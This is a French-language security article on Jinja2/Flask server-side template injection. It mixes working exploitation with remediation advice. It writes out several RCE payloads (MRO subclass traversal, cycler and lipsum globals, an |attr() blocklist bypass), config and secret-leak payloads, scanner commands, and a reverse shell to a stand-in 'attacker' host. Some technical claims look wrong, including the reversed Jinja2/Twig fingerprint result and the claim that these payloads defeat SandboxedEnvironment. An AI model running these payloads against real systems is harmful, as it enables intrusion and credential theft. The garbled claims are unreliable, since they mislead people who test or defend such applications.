Injection de template côté serveur dans Jinja2 (Python/Flask) permettant l'évasion de sandbox et le RCE via les chaînes de traversée __class__.__mro__.
TL;DR
{{7*7}} → 49 ; {{7*'7'}} → 49 confirme Jinja2 (Twig retourne 7777777)''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True) atteint subprocess.Popen{{ cycler.__init__.__globals__.os.popen('id').read() }} — fonctionne même dans SandboxedEnvironment{{ config.SECRET_KEY.fail() }} fuite secrets via trace d'exceptionrender_template('fichier.html', var=entree) — jamais render_template_string(entree_utilisateur)Jinja2 est le moteur de templates par défaut pour Flask et une bibliothèque Python largement utilisée dans les extensions Django et les applications Python autonomes. La SSTI dans Jinja2 se produit quand une entrée contrôlée par l'utilisateur est passée comme source du template à render_template_string() ou jinja2.Template() plutôt que comme variable de rendu à un fichier de template précompilé. Le moteur Jinja2 lexicalise et évalue l'entrée de l'attaquant comme syntaxe de template exécutable, permettant l'accès au modèle objet introspectif de Python et finalement au système d'exploitation.
L'impact de la SSTI Jinja2 est typiquement l'exécution de code à distance. Le modèle objet de Python rend l'évasion de sandbox fiable sans nécessiter d'importations : chaque objet Python expose sa hiérarchie de classes via __class__.__mro__, et depuis object (la racine), __subclasses__() énumère chaque classe chargée y compris subprocess.Popen. Le moteur Jinja2 expose aussi des globals intégrés — cycler, joiner, lipsum, namespace — qui portent des attributs __globals__ fournissant un accès direct au module os. Ces globals survivent même dans SandboxedEnvironment sauf effacement explicite.
Le pattern de code vulnérable dans Flask :
# VULNÉRABLE — user_name est la SOURCE du template
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/salutation")
def salutation():
nom = request.args.get("nom", "Monde")
return render_template_string(f"Bonjour {nom}!") # vecteur SSTIL'attaquant soumet :
GET /salutation?nom={{7*7}} HTTP/1.1
Host: flask-vulnerable.example.comRéponse : Bonjour 49! — Jinja2 a évalué 7*7. Chemin d'escalade :
# Étape 1 — Confirmer Jinja2 ({{7*'7'}} → 49 Jinja2, 7777777 Twig)
{{7*7}}
# Étape 2 — Dump des clés de config Flask
{{ config.items() }}
# Retourne : [('SECRET_KEY', 'super-secret'), ('DEBUG', True), ...]
# Étape 3 — RCE via contournement cycler globals (préféré : indépendant de la version)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Étape 3 (alternative) — contournement lipsum (accès dictionnaire, bypass notation par point)
{{ lipsum.__globals__['os'].popen('id').read() }}| Variante | Payload | Condition | Impact |
|---|---|---|---|
| Évaluation math | {{7*7}} | Tout Jinja2 | Confirmation du moteur |
| Dump de config | {{ config.items() }} | Contexte Flask | Fuite SECRET_KEY, URI DB |
| Traversée MRO | ''.__class__.__mro__[1].__subclasses__()[N]('id',shell=True) | Env. standard | RCE via subprocess.Popen |
| Contournement cycler | cycler.__init__.__globals__.os.popen('id').read() | Globals par défaut | RCE contournant filtre class |
| Contournement lipsum | lipsum.__globals__['os'].popen('id').read() | Globals par défaut | RCE via accès dict |
Bypass |attr() | request|attr('application')|attr('__globals__')... | Contexte request | RCE contournant blocklist mots-clés |
| Exfil error-based | {{ config.SECRET_KEY.fail() }} | Tout (SSTI aveugle) | Fuite config via exception |
| Shell inversé | cycler.__init__.__globals__.os.popen('bash -i >&/dev/tcp/attacker/4444 0>&1') | Accès réseau | Shell interactif complet |
HackerOne #423541 — Fuite de SECRET_KEY Flask (prime de 3 000$)
Une API Flask publique acceptait un paramètre nom et utilisait render_template_string(f"Bonjour {nom}!"). Un chercheur a soumis {{ config.SECRET_KEY }} et a reçu la clé de signature de l'application en clair. Avec la clé, des cookies de session et des tokens JWT pouvaient être forgés, accordant un accès administrateur. Le correctif consistait à remplacer render_template_string par render_template("salutation.html", nom=nom).
CVE-2024-56201 — Traversée de chemin FileSystemLoader Jinja2 (CVSS 7.8)
Jinja2 avant 3.1.5 permettait la traversée de chemin via FileSystemLoader quand un nom de template contenant des séquences ../ n'était pas assaini. Un attaquant contrôlant le nom du template — pas la source — pouvait charger des fichiers arbitraires du système de fichiers. Corrigé dans Jinja2 3.1.5.
Pattern d'aperçu de template d'email — SSTI applicative courante
Un pattern récurrent : un système de notifications email permet aux utilisateurs de personnaliser des templates avec des variables {{ user.name }}. L'endpoint de prévisualisation rend les templates fournis par l'utilisateur via render_template_string(). Un attaquant soumet {{ config.MAIL_PASSWORD }} pour exfiltrer les identifiants SMTP silencieusement. Le correctif utilise uniquement des templates précompilés avec les données utilisateur comme variables.
Les globals Jinja2 cycler, joiner, lipsum et namespace exposent __globals__ contenant le module os et permettent le RCE même à l'intérieur de SandboxedEnvironment sauf si env.globals.clear() est appelé explicitement. Un sandbox sans effacement des globals n'est pas un contrôle de sécurité.
{{7*7}} — réponse 49 confirme un moteur {{}}.{{7*'7'}} — 49 confirme Jinja2 ; 7777777 confirme Twig.{{ config }} ou {{ config.items() }} — un dict Python avec les clés de config Flask confirme le contexte Flask/Jinja2.{{ config.SECRET_KEY.fail() }} — une AttributeError 500 peut révéler la valeur.${{<%[%'"}}%\ — jinja2.exceptions.TemplateSyntaxError: unexpected '<' confirme Jinja2.# SSTImap v1.3.0 — spécifique Jinja2 avec error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*" --engine Jinja2
# tplmap — legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"
# Semgrep SAST — détection au moment du développement
semgrep --config "p/flask" /chemin/vers/app/
# Règle : python.flask.security.injection.tainted-string-format# VULNÉRABLE
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template_string(f"Bonjour {nom}!") # SSTI
# SÉCURISÉ
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template("salutation.html", nom=nom) # sécurisé<!-- templates/salutation.html -->
<!-- Jinja2 échappe automatiquement le HTML dans les templates .html -->
<p>Bonjour {{ nom }}!</p>from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(
autoescape=True,
undefined=StrictUndefined
)
env.globals.clear() # CRITIQUE : supprime cycler, joiner, lipsum, namespace
env.filters = { # allowlist seulement les filtres sûrs
'escape': env.filters['escape'],
'upper': env.filters['upper'],
'lower': env.filters['lower'],
}
tmpl = env.from_string(user_provided_template)
result = tmpl.render(nom=safe_value)La SSTI Jinja2 se produit quand une entrée contrôlée par l'utilisateur est passée comme source de template à render_template_string() ou Template() dans des applications Flask/Python. Le moteur Jinja2 évalue les expressions de l'attaquant, permettant la traversée d'objets via la chaîne MRO de Python pour atteindre os.popen() ou subprocess, conduisant au RCE.
Les classes Python exposent __mro__ listant la chaîne d'héritage jusqu'à object. Tout objet Python peut atteindre __subclasses__(), qui énumère toutes les classes chargées. Parmi celles-ci, subprocess.Popen peut être trouvé et appelé : ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate(). L'index N varie selon la version Python.
Le builtin cycler de Jinja2 est disponible dans tout environnement de template y compris SandboxedEnvironment sauf si explicitement effacé. Son __init__.__globals__ expose le module os directement : {{ cycler.__init__.__globals__.os.popen('id').read() }}. Ce contournement évite les filtres sur __class__, __mro__ et __subclasses__ tout en atteignant le RCE en une seule expression.
SandboxedEnvironment bloque l'accès direct aux méthodes dangereuses mais n'empêche pas l'exploitation si les builtins cycler, joiner ou namespace restent dans env.globals. Le filtre |attr() est aussi un contournement courant. Effacer env.globals entièrement et restreindre les filtres est nécessaire pour toute protection significative.
CVE-2024-56201 : traversée de chemin Jinja2 via FileSystemLoader (CVSS 7.8, corrigé dans 3.1.5). CVE-2020-28493 : ReDoS Jinja2 (CVSS 7.5). La plupart des SSTI Jinja2 sont au niveau applicatif : HackerOne #423541 (fuite de Flask SECRET_KEY via render_template_string, prime de 3 000$).
|attr('__class__') est équivalent à .__class__ mais évite les filtres sur les noms d'attributs. La chaîne complète : request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__import__')('os')|attr('popen')('id')|attr('read')() atteint le RCE en contournant les blocklists de mots-clés.
La technique 'Successful Errors' de Korchagin (PortSwigger Top 10 2025, Rang #1) déclenche délibérément une exception contenant les données cibles dans la trace d'erreur. Dans Jinja2 : {{ config.SECRET_KEY.nonexistent() }} lève AttributeError avec la valeur SECRET_KEY visible dans le message d'erreur. Cela convertit la SSTI aveugle en exfiltration de données en bande.
Le global lipsum de Jinja2 expose __globals__ similairement à cycler. {{ lipsum.__globals__['os'].popen('id').read() }} atteint le RCE via l'accès par dictionnaire plutôt que par attribut, contournant les filtres qui bloquent la notation par point. Ce contournement est inclus dans le set de payloads Jinja2 de SSTImap v1.3.0.
Utiliser jinja2.sandbox.SandboxedEnvironment avec env.globals.clear(), définir env.filters aux seuls filtres sûrs, et utiliser undefined=StrictUndefined. Considérer si les templates définis par l'utilisateur sont vraiment requis — un DSL contraint est plus sûr que n'importe quelle configuration sandbox.
L'index de subprocess.Popen dans __subclasses__() varie selon la version Python et les modules chargés. En Python 3.9, il se situe typiquement autour de 258-300. Une approche fiable consiste à itérer et vérifier le nom de la classe. Les contournements via les globals cycler/lipsum/joiner sont indépendants de la version Python et plus fiables pour l'exploitation.
Soumettre {{7*'7'}} — Jinja2 retourne 49 (multiplication truthy), tandis que Twig retourne 7777777 (répétition de chaîne). Cette sonde unique identifie définitivement Jinja2 vs Twig et doit précéder toute tentative d'exploitation.